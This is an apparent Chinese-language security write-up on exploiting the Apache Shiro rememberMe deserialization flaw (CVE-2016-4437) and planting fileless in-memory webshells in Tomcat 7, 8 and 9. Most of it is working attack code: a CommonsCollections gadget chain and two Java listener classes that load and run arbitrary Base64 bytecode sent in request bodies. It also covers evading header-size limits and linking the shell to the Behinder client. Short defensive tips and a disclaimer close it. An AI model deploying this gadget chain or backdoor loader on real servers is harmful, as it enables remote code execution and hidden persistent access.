Shiro反序列化与Tomcat内存马注入学习
字数 1368 2025-08-05 08:19:26
Shiro反序列化与Tomcat内存马注入技术详解
一、Shiro反序列化漏洞概述
Shiro反序列化漏洞(CVE-2016-4437)是一个经典的Java安全漏洞,尽管发布于2016年,但在实际渗透测试中仍可能遇到未修复的老旧系统。
1.1 漏洞原理
Shiro框架使用rememberMe功能时,会将用户身份信息序列化后加密存储在Cookie中。攻击者可以构造恶意的序列化数据,利用Shiro默认的AES加密密钥进行加密,当服务器解密并反序列化这些数据时,就会触发远程代码执行。
1.2 利用链分析
文章中使用的是CommonsCollectionsK1_1利用链,这是CC3利用链的变种:
TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj,"_bytecodes",new byte[][] {code});
setFieldValue(obj,"_name","");
setFieldValue(obj,"_tfactory",new TransformerFactoryImpl());
InstantiateTransformer i=new InstantiateTransformer(
new Class[] { Templates.class },
new Object[] { obj }
);
Map originalMap = new HashMap();
Map decoratedMap = LazyMap.decorate(originalMap, i);
Map fakedecoratedMap = LazyMap.decorate(originalMap, new ConstantTransformer("1"));
TiedMapEntry tme = new TiedMapEntry(fakedecoratedMap,TrAXFilter.class);
Map enterpointMap = new HashMap();
enterpointMap.put(tme, "valuevalue");
decoratedMap.clear();
setFieldValue(tme,"map",decoratedMap);
关键点:
- 使用
TemplatesImpl加载恶意字节码 - 通过
InstantiateTransformer触发实例化 - 利用
TiedMapEntry和LazyMap构造调用链
二、Tomcat内存马注入技术
2.1 Tomcat内存马类型
Tomcat支持三种类型的内存马:
- Listener型 - 实现
ServletRequestListener接口 - Filter型 - 实现
Filter接口 - Servlet型 - 继承
HttpServlet类
2.2 获取StandardContext的三种方式
- 从JSP内置变量(如request)中获取(不适用于无文件落地场景)
- 从
Thread.currentThread()中获取(推荐方式) - 从JMX MBeanServer的domainTb中获取
2.3 Tomcat 8/9内存马注入
2.3.1 核心实现类
public class Init extends AbstractTranslet implements ServletRequestListener {
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
public Init() throws Exception {
super();
super.namesArray = new String[]{"ccdr4gon"};
WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();
standardCtx.addApplicationEventListener(this);
}
@Override
public void requestDestroyed(ServletRequestEvent sre) {}
@Override
public void requestInitialized(ServletRequestEvent sre) {
try {
RequestFacade requestfacade = (RequestFacade) sre.getServletRequest();
Field field = requestfacade.getClass().getDeclaredField("request");
field.setAccessible(true);
Request request = (Request) field.get(requestfacade);
if (request.getParameter("stage").equals("init")) {
StringBuilder sb = new StringBuilder("");
BufferedReader br = request.getReader();
String str;
while ((str = br.readLine()) != null) {
sb.append(str);
}
byte[] payload = Base64.getDecoder().decode(sb.toString());
Method defineClass = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), payload, 0, payload.length);
clazz.newInstance();
}
} catch (Exception ignored){}
}
}
关键点:
- 同时继承
AbstractTranslet和实现ServletRequestListener - 在构造函数中将自己注册为Listener
- 通过POST请求体动态加载更多恶意代码
2.3.2 解决Request Header Too Large问题
由于Tomcat默认限制请求头大小为8KB,解决方案:
- 修改
maxHeaderSize并需要多个连接同时访问 - 推荐:将恶意代码放在POST请求体中
2.4 Tomcat 7内存马注入
Tomcat 7无法直接通过getContext()获取StandardContext,需要使用更复杂的查找方式:
public class T7 extends AbstractTranslet implements ServletRequestListener {
public Object G(Object o, String s) throws Exception {
Field f = o.getClass().getDeclaredField(s);
f.setAccessible(true);
return f.get(o);
}
public void transform(DOM a, SerializationHandler[] b){}
public void transform(DOM a, DTMAxisIterator b, SerializationHandler c){}
public void requestDestroyed(ServletRequestEvent s) {}
public T7() {
try {
Object o = new Object();
Thread[] g = (Thread[]) G(Thread.currentThread().getThreadGroup(), "threads");
for (int i = 0; i < g.length; i++) {
Thread t = g[i];
if (t != null && t.getName().contains("Backg")) {
o = G(G(t, "target"), "this$0");
}
}
Field f = Class.forName("org.apache.catalina.core.ContainerBase").getDeclaredField("children");
f.setAccessible(true);
HashMap<String,Object> p = (HashMap) f.get(o);
for (Map.Entry l : p.entrySet()) {
HashMap<String,Object> k = (HashMap) f.get(l.getValue());
for (Map.Entry j : k.entrySet()){
((StandardContext)j.getValue()).addApplicationEventListener(this);
}
}
} catch (Exception i) {}
}
public void requestInitialized(ServletRequestEvent s) {
try {
StringBuilder b = new StringBuilder("");
BufferedReader r = ((Request) G(s.getServletRequest(), "request")).getReader();
String g;
while ((g = r.readLine()) != null) {
b.append(g);
}
byte[] p = Base64.getDecoder().decode(b.toString());
Method m = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
m.setAccessible(true);
Class c = (Class) m.invoke(Thread.currentThread().getContextClassLoader(), p, 0, p.length);
c.newInstance();
} catch(Exception i){}
}
}
关键点:
- 通过线程组查找Tomcat工作线程
- 通过反射获取ContainerBase的children字段
- 需要手动优化代码使其不超过8KB限制
三、与冰蝎3的连接
- 需要实现一个
PageContext子类(如Dr4gonPageContext) - 必须实现
getResponse、getRequest、getSession方法 - 注意类名必须包含"PageContext"才能被冰蝎识别
四、防御建议
- 升级Shiro到最新版本
- 修改默认的AES加密密钥
- 禁用rememberMe功能(如非必要)
- 部署RASP防护
- 定期检查Tomcat中异常Listener/Filter/Servlet
五、工具与资源
作者开源的工具和代码:https://github.com/ccdr4gon/Dr4gonSword
注意:本文所有技术仅供学习研究,请勿用于非法用途。